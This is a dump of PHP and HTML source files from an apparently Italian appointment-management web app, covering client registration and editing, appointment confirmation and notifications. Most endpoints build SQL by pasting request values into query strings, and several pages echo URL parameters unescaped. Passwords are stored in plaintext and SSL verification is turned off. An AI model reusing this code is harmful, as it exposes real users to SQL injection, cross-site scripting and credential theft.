<div class="col-lg-1 col-md-1 col-sm-1 col-xs-1">
<li>
<a href="../php/logout.php"><i class="fa fa-power-off fw"></i></a>
</li>
</div>
</div>
<div class="h-divider">
</div>
<div class="row" style="margin-top:30px;">
<div class="form-horizontal">
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8 nopadding" >
<input type="hidden" id="user_id" name="user_id" value="<?php echo $_GET['user_id'] ?>"/>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group" id="namegroup"><label class="col-sm-4 col-md-4 col-lg-4 col-xs-4 control-label">Nome:</label>
<div class="col-sm-6 col-md-6 col-lg-6 col-xs-6"><input type="text" id="client_name" name="name" placeholder="inserire il nome" class="form-control" value="<?php echo $_GET['client_name'] ?>"></div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group" id="surnamegroup"><label class="col-sm-4 col-md-4 col-lg-4 col-xs-4 control-label">Cognome:</label>
<div class="col-sm-6 col-md-6 col-lg-6 col-xs-6"><input type="text" id="client_surname" name="surname" placeholder="inserire il cognome" class="form-control" value="<?php echo $_GET['client_surname'] ?>"></div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group" id="telephonegroup"><label class="col-sm-4 col-md-4 col-lg-4 col-xs-4 control-label">Neumero di telefone:</label>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6"><input type="text" name="telephone" id="client_telephone" placeholder="inserire il numero di telephono" class="form-control" value="<?php echo $_GET['client_telephone'] ?>"></div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group" id="emailgroup"><label class="col-sm-4 col-md-4 col-lg-4 col-xs-4 control-label">Email:</label>
<div class="col-sm-6 col-md-6 col-lg-6 col-xs-6"><input type="text" name="email" id="client_email" placeholder="inserire la mail" class="form-control" value="<?php echo $_GET['email'] ?>"></div>
</div>
</div>
<input type="hidden" id="user_id" name="user_id"/>
<input type="hidden" id="action" name="action"/>
</div>
</div>
<div class="col-xs-offset-1 nopadding" >
<img alt="image" style="width:150px;" src="../image/default_profile.png" >
</div>
</div>
<div class="row">
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group nopadding">
<div class="col-sm-2 col-md-2 col-lg-2 col-xs-2"><label></label></div>
<div class="col-sm-4 col-md-4 col-lg-4 col-xs-4"><button id="update" class="btn btn-primary">Update</button></div>
</div>
<div style="padding:20px;"></div>
</div>
</div>
<!-- /.container-fluid -->
</div>
<!-- /.row -->
</div>
<!-- /#page-wrapper -->
</div>
</div>
<!-- /#wrapper -->
<div class="modal modal-lg modal-md modal-sm modal-xs" id="messagemodal" role="dialog" style="margin-top:200px;margin-left:200px;">
<div class="modal-dialog">
<div class="modal-content" style="background-color:gainsboro">
<div class="modal-body" >
<div id="success">
<h6 id="reason" style="color: #006633;text-align:center;"><i class='fa fa-check fa-3x' style='color: #006633;margin-right:10px;'></i>Data inserted successfully</h6>
</div>
<div id="error">
</div>
</div>
<button type="button" id="dismiss_error" class="btn btn-md btn-primary" style="margin-left:260px;margin-bottom:20px;" data-dismiss="modal">Close</button>
</div>
</div>
</div>
<!-- jQuery -->
<script src="../vendor/jquery/jquery.min.js"></script>
<script src="../vendor/moment/moment.min.js"></script>
<!-- Bootstrap Core JavaScript -->
<script src="../vendor/bootstrap/js/bootstrap.min.js"></script>
<!-- Metis Menu Plugin JavaScript -->
<script src="../vendor/metisMenu/metisMenu.min.js"></script>
<!-- Custom Theme JavaScript -->
<script src="../dist/js/sb-admin-2.js"></script>
<script src="../vendor/bootstrap/js/bootstrap-datetimepicker.min.js"></script>
<!--for bootstrap date time picker-->
<script type="text/javascript">
var fromCLientList = $('#fromCLientList').val();
$(function () {
$('#datetimepicker1').datetimepicker({
format:'DD/MM/YYYY'
});
});
</script>
<script src="../js/bootstrap-toggle.min.js"></script>
<script>
$("form#search").submit(function(){
//check formdata for required fields add appropriate class
var isRequiredFieldBlank=false;
if($("input[name='qrcode']").val()==""){
$("#qrcodegroup").addClass("has-error");
isRequiredFieldBlank=true;
}else{
if($("#qrcodegroup").hasClass("has-error")){
$("#qrcodegroup").removeClass("has-error")
}
}
if(!isRequiredFieldBlank){
var formData = new FormData($(this)[0]);
$.ajax({
url: '../php/search-client.php',
type: 'POST',
data: formData,
async: false,
success: function(data){
console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.OPERATION==0){
var searchresult=finaldata.SEARCH_RESULT;
var userid=searchresult['user_id'];
var name=searchresult['first_name'];
var lastname=searchresult['last_name'];
var mobileno=searchresult['mobile_no'];
var email=searchresult['email_id'];
$('#client_name').val(name);
$('#client_surname').val(lastname);
$('#client_telephone').val(mobileno);
$('#client_email').val(email);
$('#user_id').val(userid);
$('#appointment_name').text(name);
$('#appointment_surname').text(lastname);
$('#appointment_userid').val(userid);
}else{
$("#errormessage").show();
}
},
cache: false,
contentType: false,
processData: false
});
}
//end of submit
return false;
});
</script>
<script>
$('#update').click(function(){
var name=$('#client_name').val();
var lastname=$('#client_surname').val();
var telephone=$('#client_telephone').val();
var email=$('#client_email').val();
var userid=$('#user_id').val();
$.post("../php/update-client.php",
{name:name,
lastname:lastname,
telephone:telephone,
email:email,
user_id:userid,
},
function(result){
console.log(result);
var finaldata=JSON.parse(result);
if(finaldata.OPERATION==0){
$(".modal-body #success").show();
$(".modal-body #error").hide();
$(".modal-body #error #reason").remove();
$("#messagemodal").modal();
}else{
var finaldata=JSON.parse(result);
var error_code=finaldata.VALIDATION_ERROR;
$(".modal-body #success").hide();
$(".modal-body #error").show();
$(".modal-body #error #reason").remove();
$('<h6 id="reason" style="color: #990000;text-align:center;">'
+"<i class='fa fa-remove fa-3x' style='color: #990000;margin-right:10px;'></i>"+error_code+'</h6>').appendTo('#error');
$("#messagemodal").modal();
}
});
})
</script>
<script>
var ajax_call = function() {
$.ajax({
url: '../php/get-notification-count.php',
type: 'POST',
async: false,
success:function(data){
//console.log(data);
var finaldata=JSON.parse(data);
if(finaldata.COUNT>0){
$('#notification_count').show();
$('#notification_count').text(finaldata.COUNT);
}else{
$('#notification_count').hide();
}
},
cache: false,
contentType: false,
processData: false
});
};
var interval = 1000 * 60 * 1; // where X is your every X minutes
setInterval(ajax_call, interval);
</script>
</body>
</html>
<file_sep>/php/register-client.php
<?php
header('Access-Control-Allow-Origin: *');
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
if($_SERVER['REQUEST_METHOD']==='POST')
{
$firstName=stripslashes(htmlspecialchars(trim($_POST['firstName'])));
$lastName=stripslashes(htmlspecialchars(trim($_POST['lastName'])));
$email=stripslashes(htmlspecialchars(trim($_POST['email'])));
$username=stripslashes(htmlspecialchars(trim($_POST['username'])));
$password=stripslashes(htmlspecialchars(trim($_POST['password'])));
//checking if username is already present
$checkuser=isUserAlreadyRegistered($username,DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
//echo $checkuser;
if($checkuser){
echo json_encode(['OPERATION'=>1,'IMAGE_URL'=>'NA','VALIDATION_ERROR'=>USERNAME_ALREADY_PRESENT]);
} else{
//insert user data and upload file in server.
registerClientData($firstName,$lastName,$email,$username,$password);
// echo json_encode(['OPERATION'=>0,'IMAGE_URL'=>$targetfile,'VALIDATION_ERROR'=>'NA']);
}
} else {
throw new Exception(GET_METHOD_NOT_SUPPORTED);
}
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'IMAGE_URL'=>'NA','VALIDATION_ERROR'=>$e->getMessage()]);
}
function isUserAlreadyRegistered($username,$servername,$db_username,$db_password,$db){
try{
$isuserpresent=false;
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select count(*) count_user from $dbname.Login x where x.Login_Username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
if($row['count_user'] >0){
$isuserpresent=true;
}
}
mysqli_close($conn);
return $isuserpresent;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function registerClientData($firstName,$lastName,$email,$username,$password){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into $dbname.Login (Login_Username,Login_Password,Login_Mobile_No,Login_Type,Client_Login_Type ) values('$username','$password','NA','NA','Client')";
$result=mysqli_query($conn,$sql);
if($result){
$loginId=selectLogInIdforSuppliedUsername($username,$conn,$dbname);
insertClientDetails($loginId,$firstName,$lastName,$email,$conn,$dbname) ;
}else{
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function selectLogInIdforSuppliedUsername($username,$conn,$dbname){
try{
$sql="select Login_ID from $dbname.Login where Login_Username='$username'";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
if(mysqli_num_rows($result)>0){
$row=mysqli_fetch_array($result);
$login_id=$row['Login_ID'];
return $login_id;
}
}catch(Exception $e){
throw $e;
}
}
function insertClientDetails($loginId,$firstName,$lastName,$email,$conn,$dbname){
try{
$qrCode = rand(10000000, 99999999);
$sql="insert into $dbname.User_Details (User_Login_ID,user_first_name,user_last_name,User_email_id1,user_status,user_qr_code) values($loginId,'$firstName','$lastName','$email','Connected','$qrCode')";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$result");
}
else
{
echo json_encode(['OPERATION'=>0]);
}
}catch(Exception $e){
throw $e;
}
}
?><file_sep>/php/confirmAppointment-app.php
<?php
header('Access-Control-Allow-Origin: *');
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
// $qrcode=stripslashes(htmlspecialchars(trim($_POST['qrcode'])));
$user_id=stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$shop_id=stripslashes(htmlspecialchars(trim($_POST['shop_id'])));
$appointment_id=stripslashes(htmlspecialchars(trim($_POST['appointment_id'])));
checkNotification($user_id,$shop_id,$appointment_id);
confirmAppointmentDetails($user_id,$shop_id,$appointment_id);
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$appointmentdetails,'ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function confirmAppointmentDetails($user_id,$shop_id,$appointment_id){
try{
// $appointmentdetails=array();
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="update Client_Shop_Apnt a set a.user_apnt_status = 'CONFIRMED'
where a.appointment_id = $appointment_id";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
// return $appointmentdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function insertNotification($user_id,$shop_id,$appointment_id){
try{
// $appointmentdetails=array();
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="insert into Notification(Appointment_ID,User_ID,Shop_ID,User_Notification) values ($appointment_id,$user_id,$shop_id,'CONFIRMED');";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
// return $appointmentdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function updateNotification($user_id,$shop_id,$appointment_id){
try{
// $appointmentdetails=array();
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="update Notification set User_Notification='CONFIRMED' where Appointment_ID=$appointment_id and User_ID=$user_id and Shop_ID=$shop_id;";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
// return $appointmentdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function checkNotification($user_id,$shop_id,$appointment_id){
try{
// $appointmentdetails=array();
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select Appointment_ID from Notification where Appointment_ID=$appointment_id and User_ID=$user_id and Shop_ID=$shop_id;";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0)
{
updateNotification($user_id,$shop_id,$appointment_id);
}
else {
insertNotification($user_id,$shop_id,$appointment_id);
}
mysqli_close($conn);
// return $appointmentdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/update-client.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$name=stripslashes(htmlspecialchars(trim($_POST['name'])));
$lastname=stripslashes(htmlspecialchars(trim($_POST['lastname'])));
$telephone=stripslashes(htmlspecialchars(trim($_POST['telephone'])));
$email=stripslashes(htmlspecialchars(trim($_POST['email'])));
$user_id=stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$userdetails=getUserDetails($user_id);
$dbname=DATABASE_NAME;
$isFieldUpdated=false;
$baseupdatesql="update $dbname.User_Details set ";
if($name!=$userdetails['name']){
$isFieldUpdated=true;
$baseupdatesql=$baseupdatesql." user_first_name='$name',";
}
if($lastname!=$userdetails['surname']){
$isFieldUpdated=true;
$baseupdatesql=$baseupdatesql." user_last_name='$lastname',";
}
if($telephone!=$userdetails['telephone']){
$isFieldUpdated=true;
$baseupdatesql=$baseupdatesql." user_login_mobile_no='$telephone',";
}
if($email!=$userdetails['email']){
$isFieldUpdated=true;
$baseupdatesql=$baseupdatesql." user_email_id1='$email',";
}
$baseupdatesql=substr($baseupdatesql,0,strlen($baseupdatesql)-1);
$baseupdatesql=$baseupdatesql." where user_id=$user_id";
if($isFieldUpdated){
updateClientDetails($baseupdatesql);
}
echo json_encode(['OPERATION'=>0,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function updateClientDetails($baseupdatesql){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,$dbname);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$result=mysqli_query($conn,$baseupdatesql);
if(!$result){
throw new Exception("Database error::$baseupdatesql");
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
function getUserDetails($user_id){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$userdetails=array();
$sql="select user_first_name name,user_last_name surname,user_alt_contact2 telephone,user_email_id1 email from $dbname.User_Details where user_id=$user_id";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
$userdetails['name']=$row['name'];
$userdetails['surname']=$row['surname'];
$userdetails['telephone']=$row['telephone'];
$userdetails['email']=$row['email'];
}
mysqli_close($conn);
return $userdetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/update_client_sms_settings.php
<?php
header('Access-Control-Allow-Origin: *');
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$user_id=stripslashes(htmlspecialchars(trim($_POST['user_id'])));
$shop_id=stripslashes(htmlspecialchars(trim($_POST['shop_id'])));
$is_sms_active = stripslashes(htmlspecialchars(trim($_POST['is_sms_active'])));
$sql = update_client_sms_settings($user_id,$shop_id,$is_sms_active);
echo json_encode(['OPERATION'=>0,'SEARCH_RESULT'=>$sql,'ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'ERROR'=>$e->getMessage()]);
}
function update_client_sms_settings($user_id,$shop_id,$is_sms_active){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="update User_Shop_Map set is_sms_active = $is_sms_active where user_id = $user_id and shop_id = $shop_id";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
mysqli_close($conn);
return $sql;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/send-android-notification.php
<?php
$data="This is a test message";
$target="<<To be filled>>";
sendMessage($data,$target);
public function sendMessage($data,$target){
//FCM api URL
$url = 'https://fcm.googleapis.com/fcm/send';
//api_key available in Firebase Console -> Project Settings -> CLOUD MESSAGING -> Server key
$server_key = '<KEY>';
$fields = array();
$fields['data'] = $data;
if(is_array($target)){
$fields['registration_ids'] = $target;
}else{
$fields['to'] = $target;
}
//header with content_type api key
$headers = array(
'Content-Type:application/json',
'Authorization:key='.$server_key
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields));
$result = curl_exec($ch);
if ($result === FALSE) {
die('FCM Send Error: ' . curl_error($ch));
}
curl_close($ch);
return $result;
}
?><file_sep>/constant/application-constant.php
<?php
define("NOT_VALID_IMAGE_FILE","File is not a valid image file check file type");
define("NOT_PERMITTED_FILE_SIZE","File size is greater than 500KB");
define("NOT_SUPPORTED_FILE_TYPE","Please check file type only gif,jpeg,jpg,png files are allowed");
define("UPLOAD_FAIL","File upload has failed,please contact SYSTEM ADMINISTRATOR");
define("FILE_EXISTS","File with the supplied name already exists");
define("GET_METHOD_NOT_SUPPORTED","GET method not supported");
define("REQUIRED_FIELD_NULL","Required field {1} not supplied");
define("FIELD_VALUE_LARGER_THAN_SUPPORTED","Field value {1} larger than supported");
define("NEUMERIC_VALUE_EXPECTED","Field value {1} supplied is not neumeric, only neumeric value expected");
define("WEB_URL_NOTVALID","Supplied web url not valid");
define("FB_URL_NOTVALID","Supplied facebook web url not valid");
define("PHONE_SUPPLIED_NOT_VALID","Supplied phone no not valid");
define("USERNAME_ALREADY_PRESENT","Username already present");
define("DATABASE_CONNECTION_ERROR","Database connectivity error occured");
define("DATABASE_USERNAME","india");
define("DATABASE_PASSWORD","<PASSWORD>");
define("DATABASE_NAME","admin_");
define("DATABASE_SERVER","172.16.17.32");
define("USER_TYPE_SHOP","SHOP");
define("USER_TYPE_SHOP_ADMIN","SHOP_ADMIN");
define("LOGIN_FAILED","Login failed,please check username or password provided");
define("USER_NOT_REGISTERED","Provided username is not registered with us");
define("EMAIL_NOT_VALID","Provided e-mail is not valid");
define("MAIL_NOT_SENT_SUCCESSFULLY","Sorry!! Mail could not be sent successfully");
define("REQUIRED_FIELD_QR_CODE_NOT_PROVIDED","Required field QRCODE not provided");
define("USER_ALREADY_ASSOCIATED","User is already linked with the shop");
?><file_sep>/php/show-notification.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$search_option="";
$searchvalue="";
if(isset($_POST['search_option'])) {
$search_option=stripslashes(htmlspecialchars(trim($_POST['search_option'])));
}
if(isset($_POST['searchvalue'])) {
$searchvalue=stripslashes(htmlspecialchars(trim($_POST['searchvalue'])));
}
$shopid=$_SESSION['shopid'];
$notificationDetails=getNotificationDetails($shopid,$search_option,$searchvalue);
echo json_encode(['OPERATION'=>0,'SEARCH_REASULT'=>$notificationDetails,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]) ;
}
function getNotificationDetails($shopid,$search_option,$searchvalue){
try{
$dbname=DATABASE_NAME;
$conn=mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$notificationDetails=array();
$sql="select x1.user_id user_id,x1.User_First_Name first_name,x1.User_Last_Name last_name,x2.User_Apnt_Dt appointment_date,x.User_Notification notification_msg,x.Appointment_ID appointment_id,x2.is_client_contacted is_client_contacted,x1.user_login_mobile_no telephone,x.notification_date notification_date from
$dbname.Notification x,$dbname.User_Details x1,$dbname.Client_Shop_Apnt x2 where x.User_ID=x1.User_ID and x1.User_ID=x2.User_ID and x.Appointment_ID=x2.Appointment_ID and x.Notification_Date>=(select insert_date from Shop_Details where shop_id=$shopid) and x.user_notification in('POSTPONED','DELETED') and x.shop_id=$shopid";
if(!empty($searchvalue)){
if($search_option=='Name'){
$sql=$sql." and x1.User_First_Name='$searchvalue'";
}
if($search_option=='Cognome'){
$sql=$sql." and x1.User_Last_Name='$searchvalue'";
}
}
//echo $sql;
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
while($row=mysqli_fetch_array($result)){
$notificationDetails[]=$row;
}
}
mysqli_close($conn);
return $notificationDetails;
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/php/get-notification-count.php
<?php
session_start();
require("{$_SERVER['DOCUMENT_ROOT']}/shopapp/constant/application-constant.php");
try{
$shopid=$_SESSION['shopid'];
$notification_count=selectNotificationCount($shopid);
echo json_encode(['OPERATION'=>0,'COUNT'=>$notification_count,'VALIDATION_ERROR'=>'NA']);
}catch(Exception $e){
echo json_encode(['OPERATION'=>1,'VALIDATION_ERROR'=>$e->getMessage()]);
}
function selectNotificationCount($shop_id){
try{
$dbname = DATABASE_NAME;
$conn = mysqli_connect(DATABASE_SERVER,DATABASE_USERNAME,DATABASE_PASSWORD,DATABASE_NAME);
if(!$conn){
throw new Exception(DATABASE_CONNECTION_ERROR);
}
$sql="select count(*) notification_count from notification x where x.shop_id=$shop_id and x.notification_date >=(select last_notification_checked from Shop_notify_settings where shop_id=$shop_id)";
$result=mysqli_query($conn,$sql);
if(!$result){
throw new Exception("Database error::$sql");
}
$rowcount=mysqli_num_rows($result);
if($rowcount>0){
$row=mysqli_fetch_array($result);
return $row['notification_count'];
}
mysqli_close($conn);
}catch(Exception $e){
mysqli_close($conn);
throw $e;
}
}
?><file_sep>/pages/new-client.php
<!DOCTYPE html>
<?php
session_start();
try{
$shopid=$_SESSION['shopid'];
if(empty($shopid)){
header("Location: login.html");
}
}
catch(Exception $e){
header("Location: login.html");
}
?>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Doctor's App</title>
<!-- Bootstrap Core CSS -->
<link href="../vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">
<!-- Bootstrap datetimepicker CSS -->
<link href="../vendor/bootstrap/css/bootstrap-datetimepicker.min.css" rel="stylesheet">
<!-- MetisMenu CSS -->
<link href="../vendor/metisMenu/metisMenu.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="../dist/css/sb-admin-2.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="../vendor/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<link href="../css/bootstrap-toggle.min.css" rel="stylesheet">
<style type="text/css">
.toggle.ios, .toggle-on.ios, .toggle-off.ios { border-radius: 20px; }
.toggle.ios .toggle-handle { border-radius: 20px; }
</style>
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="wrapper">
<!-- Navigation -->
<!-- Page Content -->
<div id="page-wrapper" >
<div class="row">
<div class="container-fluid">
<div class="row" style="margin-left:10px;">
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="new-client.php">Nuovo Cliente</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="client-list.php">Elenco clienti</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="activityoftoday.php">Attivitá di oggi</a>
</li>
</div>
<div class="col-lg-2 col-md-2 col-sm-2 col-xs-2">
<li>
<a href="my-profile.php">ll mio profilo</a>
</li>
</div>
<div class="col-lg-3 col-md-3 col-sm-3 col-xs-3">
<li>
<a href="client-message.php">Messaggi dai clienti <span id="notification_count" class="badge" style="background-color:#C0392B;"></span></a>
</li>
</div>
<div class="col-lg-1 col-md-1 col-sm-1 col-xs-1">
<li>
<a href="../php/logout.php"><i class="fa fa-power-off fw"></i></a>
</li>
</div>
</div>
<div class="h-divider">
</div>
<div class="row" style="margin-top:30px;">
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding" >
<form role="form" class="form-horizontal" id="search">
<div class="col-lg-8 col-sm-8 col-md-8 col-xs-8 nopadding">
<div class="form-group has-feedback" id="qrcodegroup"><label class="col-lg-4 col-md-4 col-sm-4 col-xs-4 control-label">Codice a 8 cifre:</label>
<div class="col-lg-4 col-md-4 col-sm-4 col-xs-4"><input type="text" name="qrcode" placeholder="inserire il codice" class="form-control"><span class="glyphicon glyphicon-ok form-control-feedback" style="color:#38B0DE;"></span></div>
<div class="col-lg-4 col-sm-4 col-md-4 col-xs-4"><button class="btn btn-primary">Cerca</button></div>
</div>
</div>
<!-- setting shop id as hidden field-->
<input type="hidden" id="shopid" name="shop_id" value="<?php echo $_SESSION['shopid'] ?>"/>
</form>
</div>
</div>
<div class="h-divider">
</div>
<div class="row" style="margin-top:30px;">
<div class="form-horizontal">
<div class="col-lg-8 col-md-8 col-sm-8 col-xs-8 nopadding" >
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group" id="namegroup"><label class="col-sm-4 col-md-4 col-lg-4 col-xs-4 control-label">Nome:</label>
<div class="col-sm-6 col-md-6 col-lg-6 col-xs-6"><input type="text" id="client_name" name="name" placeholder="inserire il nome" class="form-control"></div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group" id="surnamegroup"><label class="col-sm-4 col-md-4 col-lg-4 col-xs-4 control-label">Cognome:</label>
<div class="col-sm-6 col-md-6 col-lg-6 col-xs-6"><input type="text" id="client_surname" name="surname" placeholder="inserire il cognome" class="form-control"></div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group" id="telephonegroup"><label class="col-sm-4 col-md-4 col-lg-4 col-xs-4 control-label">Neumero di telefone:</label>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6"><input type="text" name="telephone" id="client_telephone" placeholder="inserire il numero di telephono" class="form-control"></div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group" id="emailgroup"><label class="col-sm-4 col-md-4 col-lg-4 col-xs-4 control-label">Email:</label>
<div class="col-sm-6 col-md-6 col-lg-6 col-xs-6"><input type="text" name="email" id="client_email" placeholder="inserire la mail" class="form-control"></div>
</div>
</div>
<input type="hidden" id="user_id" name="user_id"/>
<input type="hidden" id="action" name="action"/>
</div>
</div>
<div class="col-xs-offset-1 nopadding" >
<img alt="image" style="width:150px;" src="../image/default_profile.png" >
</div>
</div>
<div class="row">
<div class="col-lg-12 col-sm-12 col-md-12 col-xs-12 nopadding">
<div class="form-group nopadding">
<div class="col-sm-2 col-md-2 col-lg-2 col-xs-2"><label></label></div>
<div class="col-sm-2 col-md-2 col-lg-2 col-xs-2"><button id="insert" class="btn btn-primary">Inserisci!</button></div>
<div class="col-sm-2 col-md-2 col-lg-2 col-xs-2" style="margin-bottom:10px;"><button id="insert-appointment" class="btn btn-primary" data-toggle="modal" data-target="#newappointment">Inserisci+appuntamento!</button></div>
</div>
<div style="padding:20px;"></div>
</div>
</div>
<!-- /.container-fluid -->
</div>
<!-- /.row -->
</div>
<!-- /#page-wrapper -->
</div>
</div>
<!-- /#wrapper -->
<!--modal window for new appointment-->
<div id="newappointment" class="modal fade" role="dialog">
<div class="modal-dialog">
<!-- Modal content-->
<div id="newappointmentmodal" class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Nuovo apuntamento</h4>
</div>
<div class="modal-body">
<div class="form-horizontal">
<div class="row" >
